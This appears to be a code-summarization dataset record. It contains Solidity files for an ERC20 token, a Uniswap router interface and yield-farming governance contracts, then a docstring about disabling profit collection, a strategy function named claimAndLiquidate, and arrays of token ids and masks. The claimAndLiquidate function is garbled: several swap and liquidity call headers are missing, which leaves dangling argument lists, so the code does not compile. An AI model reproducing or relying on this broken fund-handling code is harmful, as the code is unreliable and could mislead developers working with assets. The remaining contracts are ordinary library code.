function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
pragma solidity ^0.5.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity 0.5.16;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../interface/IController.sol";
import "./Controllable.sol";
contract RewardTokenProfitNotifier is Controllable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public profitSharingNumerator;
uint256 public profitSharingDenominator;
address public rewardToken;
constructor(
address _storage,
address _rewardToken
) public Controllable(_storage){
rewardToken = _rewardToken;
// persist in the state for immutability of the fee
profitSharingNumerator = 30; //IController(controller()).profitSharingNumerator();
profitSharingDenominator = 100; //IController(controller()).profitSharingDenominator();
require(profitSharingNumerator < profitSharingDenominator, "invalid profit share");
}
event ProfitLogInReward(uint256 profitAmount, uint256 feeAmount, uint256 timestamp);
function notifyProfitInRewardToken(uint256 _rewardBalance) internal {
if( _rewardBalance > 0 ){
uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator).div(profitSharingDenominator);
emit ProfitLogInReward(_rewardBalance, feeAmount, block.timestamp);
IERC20(rewardToken).safeApprove(controller(), 0);
IERC20(rewardToken).safeApprove(controller(), feeAmount);
IController(controller()).notifyFee(
rewardToken,
feeAmount
);
} else {
emit ProfitLogInReward(0, 0, block.timestamp);
}
}
}
pragma solidity 0.5.16;
interface IController {
// [Grey list]
// An EOA can safely interact with the system no matter what.
// If you're using Metamask, you're using an EOA.
// Only smart contracts may be affected by this grey list.
//
// This contract will not be able to ban any EOA from the system
// even if an EOA is being added to the greyList, he/she will still be able
// to interact with the whole system as if nothing happened.
// Only smart contracts will be affected by being added to the greyList.
// This grey list is only used in Vault.sol, see the code there for reference
function greyList(address _target) external view returns(bool);
function addVaultAndStrategy(address _vault, address _strategy) external;
function doHardWork(address _vault) external;
function hasVault(address _vault) external returns(bool);
function salvage(address _token, uint256 amount) external;
function salvageStrategy(address _strategy, address _token, uint256 amount) external;
function notifyFee(address _underlying, uint256 fee) external;
function profitSharingNumerator() external view returns (uint256);
function profitSharingDenominator() external view returns (uint256);
function feeRewardForwarder() external view returns(address);
function setFeeRewardForwarder(address _value) external;
}
pragma solidity 0.5.16;
import "./Governable.sol";
contract Controllable is Governable {
constructor(address _storage) Governable(_storage) public {
}
modifier onlyController() {
require(store.isController(msg.sender), "Not a controller");
_;
}
modifier onlyControllerOrGovernance(){
require((store.isController(msg.sender) || store.isGovernance(msg.sender)),
"The caller must be controller or governance");
_;
}
function controller() public view returns (address) {
return store.controller();
}
}
pragma solidity 0.5.16;
import "./Storage.sol";
contract Governable {
Storage public store;
constructor(address _store) public {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
modifier onlyGovernance() {
require(store.isGovernance(msg.sender), "Not governance");
_;
}
function setStorage(address _store) public onlyGovernance {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
function governance() public view returns (address) {
return store.governance();
}
}
pragma solidity 0.5.16;
contract Storage {
address public governance;
address public controller;
constructor() public {
governance = msg.sender;
}
modifier onlyGovernance() {
require(isGovernance(msg.sender), "Not governance");
_;
}
function setGovernance(address _governance) public onlyGovernance {
require(_governance != address(0), "new governance shouldn't be empty");
governance = _governance;
}
function setController(address _controller) public onlyGovernance {
require(_controller != address(0), "new controller shouldn't be empty");
controller = _controller;
}
function isGovernance(address account) public view returns (bool) {
return account == governance;
}
function isController(address account) public view returns (bool) {
return account == controller;
}
} | Profits can be disabled for possible simplified and rapid exit | function claimAndLiquidate() internal {
if (!sell) {
emit ProfitsNotCollected(oneInch);
return;
}
IFarmingRewards(pool).getReward();
uint256 oneInchBalance = IERC20(oneInch).balanceOf(address(this));
if (oneInchBalance < sellFloorOneInch) {
emit ProfitsNotCollected(oneInch);
return;
}
IERC20(oneInch).safeApprove(oneInchEthLP, 0);
IERC20(oneInch).safeApprove(oneInchEthLP, oneInchBalance);
IMooniswap(oneInchEthLP).swap(oneInch, address(0), oneInchBalance, amountOutMin, address(0));
uint256 wethBalance = IERC20(weth).balanceOf(address(this));
if( wethBalance == 0 ) {
emit ProfitsNotCollected(weth);
return;
}
uint256 remainingWethBalance = IERC20(weth).balanceOf(address(this));
IERC20(weth).safeApprove(uni, 0);
IERC20(weth).safeApprove(uni, remainingWethBalance.div(2));
remainingWethBalance.div(2),
amountOutMin,
uniswap_WETH2Token1,
address(this),
block.timestamp
);
uint256 token1Amount = IERC20(token1).balanceOf(address(this));
IERC20(weth).safeApprove(weth, 0);
IERC20(weth).safeApprove(weth, remainingWethBalance);
WETH9(weth).withdraw(remainingWethBalance);
uint256 remainingEthBalance = address(this).balance;
IERC20(token1).safeApprove(underlying, 0);
IERC20(token1).safeApprove(underlying, token1Amount);
[remainingEthBalance, token1Amount],
[remainingEthBalance.mul(slippageNumerator).div(slippageDenominator),
token1Amount.mul(slippageNumerator).div(slippageDenominator)
]
);
}
| 101,928 | [
1,
626,
18352,
848,
506,
5673,
364,
3323,
20482,
471,
767,
6610,
2427,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
7516,
1876,
48,
18988,
350,
340,
1435,
2713,
288,
203,
565,
309,
16051,
87,
1165,
13,
288,
203,
1377,
3626,
1186,
18352,
1248,
10808,
329,
12,
476,
382,
343,
1769,
203,
1377,
327,
31,
203,
565,
289,
203,
565,
11083,
4610,
310,
17631,
14727,
12,
6011,
2934,
588,
17631,
1060,
5621,
203,
565,
2254,
5034,
1245,
382,
343,
13937,
273,
467,
654,
39,
3462,
12,
476,
382,
343,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
309,
261,
476,
382,
343,
13937,
411,
357,
80,
42,
5807,
3335,
382,
343,
13,
288,
203,
1377,
3626,
1186,
18352,
1248,
10808,
329,
12,
476,
382,
343,
1769,
203,
1377,
327,
31,
203,
565,
289,
203,
203,
203,
565,
467,
654,
39,
3462,
12,
476,
382,
343,
2934,
4626,
12053,
537,
12,
476,
382,
343,
41,
451,
14461,
16,
374,
1769,
203,
565,
467,
654,
39,
3462,
12,
476,
382,
343,
2934,
4626,
12053,
537,
12,
476,
382,
343,
41,
451,
14461,
16,
1245,
382,
343,
13937,
1769,
203,
203,
565,
6246,
83,
265,
291,
91,
438,
12,
476,
382,
343,
41,
451,
14461,
2934,
22270,
12,
476,
382,
343,
16,
1758,
12,
20,
3631,
1245,
382,
343,
13937,
16,
3844,
1182,
2930,
16,
1758,
12,
20,
10019,
203,
203,
565,
2254,
5034,
341,
546,
13937,
273,
467,
654,
39,
3462,
12,
